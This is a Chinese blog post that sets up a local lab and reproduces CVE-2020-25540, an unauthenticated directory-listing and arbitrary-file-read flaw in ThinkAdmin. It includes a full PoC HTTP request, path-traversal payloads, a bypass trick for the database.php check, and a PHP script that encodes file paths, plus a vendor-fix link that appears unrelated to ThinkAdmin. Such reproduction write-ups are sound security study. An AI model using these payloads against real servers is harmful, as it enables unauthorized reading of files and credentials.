ThinkAdmin列目录/任意文件读取(CVE-2020-25540 )漏洞复现及环境搭建

漏洞复现 专栏收录该内容
26 篇文章 0 订阅

ThinkAdmin列目录/任意文件读取(CVE-2020-25540 )漏洞复现

漏洞介绍

ThinkAdmin 是基于 ThinkPHP后台开发框架,在ThinkAdmin v6版本存在路径遍历漏洞,该漏洞可以利用GET请求编码参数读取远程服务器上任意文件。

影响范围

Thinkadmin ≤ 2020.08.03.01

v5(任意文件读取)

v6(列目录,任意文件读取)

ThinkAdmin6环境搭建

这里我使用的是kali linux靶机来搭建环境

1、安装php环境

查看版本发现没有,按照要求按照好即可

apt install php7.2-cli

apt install hhvm

image-20210802134742302

安装好之后查看一下是否安装成功

php -version

image-20210802135009174

2、安装Composer

curl -sS https://getcomposer.org/installer | php

image-20210802135333812

这样好像并没有作用,直接用apt install composer安装

这行黄色的是不要在root下运行,换个用户就不会出现这个问题

image-20210802135751588

3、安装ThinkAdmin

composer create-project topthink/think thinkadmin

image-20210802141814012

安装的时候可能出现如下问题

image-20210802141856072

等待他进行完成也能成功安装,若要解决看这篇博客

https://www.cnblogs.com/zydr/p/15080885.html

4、运行

php think run

image-20210802150721714

image-20210802150705607

成功打开,实测kali搭这个环境巨方便,ubuntu一直出错,最后用的kali linux

如上的页面报错只需更改

Config/app.php文件show_error_msg=false 改为True

image-20210802153129858

然后又

image-20210802153734117

接着修改

还是没成功,人直接麻了

换个思路直接去GitHub上下压缩包吧,或者可以直接从我上传的资源处免费下载
https://download.csdn.net/download/yzl_007/20689177?spm=1001.2014.3001.5503

下完压缩包后又出现了新的错误。。。

image-20210802155215291

了解到是文件目录下没有runtime这个文件来存储缓存,新建一个touch runtime

权限不够给足权限后
大概指令是 chmod +x runtime *,可以百度一下忘记了

SQLSTATE[HY000] [2002] Connection refused

image-20210802160349684

mysql没有运行,于是启动mysql

service mysql start

报错:SQLSTATE[HY000] [1698] Access denied for user ‘admin_v6’@‘localhost’

由于存在空密码导致

image-20210802165126495

崩溃了,mysql没基础啊,一堆错误,有空学习一下吧。。

查看所有用户及密码: select *from mysql.user

image-20210802215629416

查看mysql的所有用户和密码就一个用户root,密码还是invalid( 无效的 )

查看所有用户的地址和密码

select user,host,password from mysql.user;

这样看清晰多了,呜呜呜

image-20210802220332952

然后创建用户吧、、、

mysql> create user 'myuser'@'localhost' identified by 'myuser';
mysql> flush privileges;

image-20210802221442055

密码是被md5加密的,解密就得到明文了,这些都是mysql下的用户,因此数据库名为mysql

image-20210802222103972

到这里以为万事大吉的时候,上面的问题确实是解决了,又出现了还是有错误wdnmd

image-20210802223124610

这里是下载好就有个admin_v6.sql了,所有配置那里只能写v6??我直接重命名试试

果然不行

image-20210802223350736

但是好消息是这里报错的已经和表中的是一致的了,和最开始那个报错

SQLSTATE[HY000] [1698] Access denied for user ‘admin_v6’@‘localhost’,起码表中是对应的

查资料了解到这是权限不够所导致的

image-20210802223714832

如果 Greate_routine_priv 项为N的话则表示没有这个权限,需要修改过来,然后重新启动MySql服务即可。

授权:

grant all on *.* to admin_v6@'%' with grant option;

刷新权限:

FLUSH PRIVILEGES;

验证:

SELECT host,user,password,Create_routine_priv FROM mysql.user;

image-20210802224740279

成功之后我们重启服务访问网站试试:

权限问题解决后错误如下,可只是刚刚设置的admin_v7的问题,我们到/config/datebase.php下修改好

image-20210802225055795

怎么还是错误,还没有admin_v6???

数据库名是mysql抱歉、、、、

image-20210802230815302

这些都弄好后。。。一个全新的错误出现了

SQLSTATE[42S02]: Base table or view not found: 1146 Table ‘mysql.system_config’ doesn’t exist

image-20210802230923648

Table ‘mysql.system_menu’ doesn’t exist,表不存在,咱们创建上再试试

image-20210803000230956

想必到这里已经看晕了,这里是要表名,user本身是表,而刚刚加的admin_v6、system_menu这些仅仅是数据,user是用户表,用户名、密码那里是正确的,看下图帮助理解:

image-20210803002120680

SQLSTATE[42S02]: Base table or view not found: 1146 Table ‘mysql.system_config’ doesn’t exist,这个错误这里是缺少表, 而且是mysql这个数据名称下的表,对应上图show tables;指令

下面我们在mysql(数据库名)下创建表system_config

随便创建一个

image-20210803003407408

然后php think run重新运行,终于成功了!!!!!!!!!

image-20210803003533150

看到这里你以为真的成功了,啪一下又给你弹个错
Call to undefined function think\admin\service\imagecreatetruecolor()
image-20210803003811206

读英文可以看出是调用了一个函数未定义、、、、而且是生成验证码的函数,我丫的都不要你生成验证码、、、、

在使用php处理一些图像时,有时会出现诸如这样的错误:Call to undefined function imagecreate()

这是由于没有安装或是没有开启php的gd库导致的问题。

解决方案:

在linux系统(这里用的是kali linux系统)下

首先在终端输入下列命令:

sudo apt-get install php7.4-gd 这里输入自己的版本号

安装好后重新启动环境,然后就没报错了,大功告成!

image-20210803005603320

终于结束了恶梦。

漏洞复现

app/admin/controller/api/Update.php存在3个function,都是不用登录认证就可以使用的,引用列表如下:

namespace app\admin\controller\api;

use think\admin\Controller;
use think\admin\service\InstallService;
use think\admin\service\ModuleService;

version()可以获取到当前版本:2020.08.03.01,≤这个版本的都有可能存在漏洞

列目录

URL:http://192.168.89.130:8000/ThinkAdmin/public/admin.html?s=admin/api.Update/version

POST:rules=["…/…/"]

image-20210803174414489

修改post中的文件目录即可列出所有目录

poc

POST /admin/login.html?s=admin/api.Update/node HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=4da326327c0b75fb074122a093e912a0
Upgrade-Insecure-Requests: 1
Content-Length: 21
Content-Type: application/x-www-form-urlencoded
Cache-Control: max-age=0

rules=%5B%22%2F%22%5D

漏洞分析

node():文件

/*** 读取文件列表*/
  public function node()
  {
    $this->success('获取文件列表成功!', InstallService::instance()->getList(
        json_decode($this->request->post('rules', '[]', ''), true),
        json_decode($this->request->post('ignore', '[]', ''), true)
    ));
  }

直接把POST的rulesignore参数传给InstallService::instance()->getList(),根据上面的use引用可以知道文件路径在vendor/zoujingli/think-library/src/service/InstallService.php

/**
 * 获取文件信息列表
 * @param array $rules 文件规则
 * @param array $ignore 忽略规则
 * @param array $data 扫描结果列表
 * @return array
 */
public function getList(array $rules, array $ignore = [], array $data = []): array
{
    // 扫描规则文件
    foreach ($rules as $key => $rule) {
        $name = strtr(trim($rule, '\\/'), '\\', '/');
        $data = array_merge($data, $this->_scanList($this->root . $name));
    }
    // 清除忽略文件
    foreach ($data as $key => $item) foreach ($ignore as $ign) {
        if (stripos($item['name'], $ign) === 0) unset($data[$key]);
    }
    // 返回文件数据
    return ['rules' => $rules, 'ignore' => $ignore, 'list' => $data];
}

$ignore可以不用关注,他会透过_scanList()去遍历$rules数组,调用scanDirectory()去递归遍历目录下的文件,最后在透过_getInfo()去获取文件名与哈希,由下面代码可以知道程序没有任何验证,攻击者可以在未授权的情况下读取服务器的文件列表。

/**
 * 获取目录文件列表
 * @param string $path 待扫描目录
 * @param array $data 扫描结果
 * @return array
 */
private function _scanList($path, $data = []): array
{
    foreach (NodeService::instance()->scanDirectory($path, [], null) as $file) {
        $data[] = $this->_getInfo(strtr($file, '\\', '/'));
    }
    return $data;
}
/**
 * 获取所有PHP文件列表
 * @param string $path 扫描目录
 * @param array $data 额外数据
 * @param string $ext 文件后缀
 * @return array
 */
public function scanDirectory($path, $data = [], $ext = 'php')
{
    if (file_exists($path)) if (is_file($path)) $data[] = $path;
    elseif (is_dir($path)) foreach (scandir($path) as $item) if ($item[0] !== '.') {
        $realpath = rtrim($path, '\\/') . DIRECTORY_SEPARATOR . $item;
        if (is_readable($realpath)) if (is_dir($realpath)) {
            $data = $this->scanDirectory($realpath, $data, $ext);
        } elseif (is_file($realpath) && (is_null($ext) || pathinfo($realpath, 4) === $ext)) {
            $data[] = strtr($realpath, '\\', '/');
        }
    }
    return $data;
}
/**
 * 获取指定文件信息
 * @param string $path 文件路径
 * @return array
 */
private function _getInfo($path): array
{
    return [
        'name' => str_replace($this->root, '', $path),
        'hash' => md5(preg_replace('/\s+/', '', file_get_contents($path))),
    ];
}

任意文件读取

get()

/**
 * 读取文件内容
 */
public function get()
{
    $filename = decode(input('encode', '0'));
    if (!ModuleService::instance()->checkAllowDownload($filename)) {
        $this->error('下载的文件不在认证规则中!');
    }
    if (file_exists($realname = $this->app->getRootPath() . $filename)) {
        $this->success('读取文件内容成功!', [
            'content' => base64_encode(file_get_contents($realname)),
        ]);
    } else {
        $this->error('读取文件内容失败!');
    }
}

首先从GET读取encode参数并使用decode()解码:

/**
 * 解密 UTF8 字符串
 * @param string $content
 * @return string
 */
function decode($content)
{
    $chars = '';
    foreach (str_split($content, 2) as $char) {
        $chars .= chr(intval(base_convert($char, 36, 10)));
    }
    return iconv('GBK//TRANSLIT', 'UTF-8', $chars);
}

解密UTF8字符串的,刚好上面有个加密UTF8字符串的encode(),攻击时直接调用那个就可以了:

/**
 * 加密 UTF8 字符串
 * @param string $content
 * @return string
 */
function encode($content)
{
    [$chars, $length] = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];
    for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
    return $chars;
}

跟进ModuleService::instance()->checkAllowDownload(),文件路径vendor/zoujingli/think-library/src/service/ModuleService.php

/**
 * 检查文件是否可下载
 * @param string $name 文件名称
 * @return boolean
 */
public function checkAllowDownload($name): bool
{
    // 禁止下载数据库配置文件
    if (stripos($name, 'database.php') !== false) {
        return false;
    }
    // 检查允许下载的文件规则
    foreach ($this->getAllowDownloadRule() as $rule) {
        if (stripos($name, $rule) !== false) return true;
    }
    // 不在允许下载的文件规则
    return false;
}

首先$name不能够是database.php,接着跟进getAllowDownloadRule()

/**
 * 获取允许下载的规则
 * @return array
 */
public function getAllowDownloadRule(): array
{
    $data = $this->app->cache->get('moduleAllowRule', []);
    if (is_array($data) && count($data) > 0) return $data;
    $data = ['config', 'public/static', 'public/router.php', 'public/index.php'];
    foreach (array_keys($this->getModules()) as $name) $data[] = "app/{$name}";
    $this->app->cache->set('moduleAllowRule', $data, 30);
    return $data;
}

有一个允许的列表:

config
public/static
public/router.php
public/index.php
app/admin
app/wechat

也就是说$name必须要不是database.php且要在允许列表内的文件才能够被读取,先绕过安全列表的限制,比如读取根目录的1.txt,只需要传入:

public/static/../../1.txt

database.php的限制在Linux下应该是没办法绕过的,但是在Windows下可以透过"来替换.,也就是传入:

public/static/../../config/database"php

对应encode()后的结果为:

34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b2r33322u2x2v1b2s2p382p2q2p372t0y342w34

image-20210803205208568

windows下没有搭建环境,这会显示php语法错误,这里就不演示了

编码脚本:

<?php
$name="public/robots.txt";
for($i=0;$i<strlen($ename=iconv('UTF-8','GBK//TRANSLIT',$name));$i++)
{
  echo str_pad(base_convert(ord($ename[$i]),10,36),2,0,0);
}
?>

下面比如我要读取/public/robots.txt,即传入

public/robots.txt

image-20210803210108139

对应encode()的结果为:

34392q302x2r1b36332q3338371a383c38

image-20210803210016969

这里得到的base64加密后的内容

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4V4y2gI1-1627996161344)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20210803210238400.png)]

解码后与文件中内容一致。

image-20210803210328092

同样的原理,利用列出的所有目录,即可实现所有文件任意读取了

v5连允许列表都没有,可以直接读任意文件。

漏洞修复

目前厂商已发布升级补丁以修复漏洞,详情请关注厂商主页:

https://www.nfstream.org/

  • 0
    点赞
  • 0
    评论
  • 0
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

©️2021 CSDN 皮肤主题: 像素格子 设计师:CSDN官方博客 返回首页
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值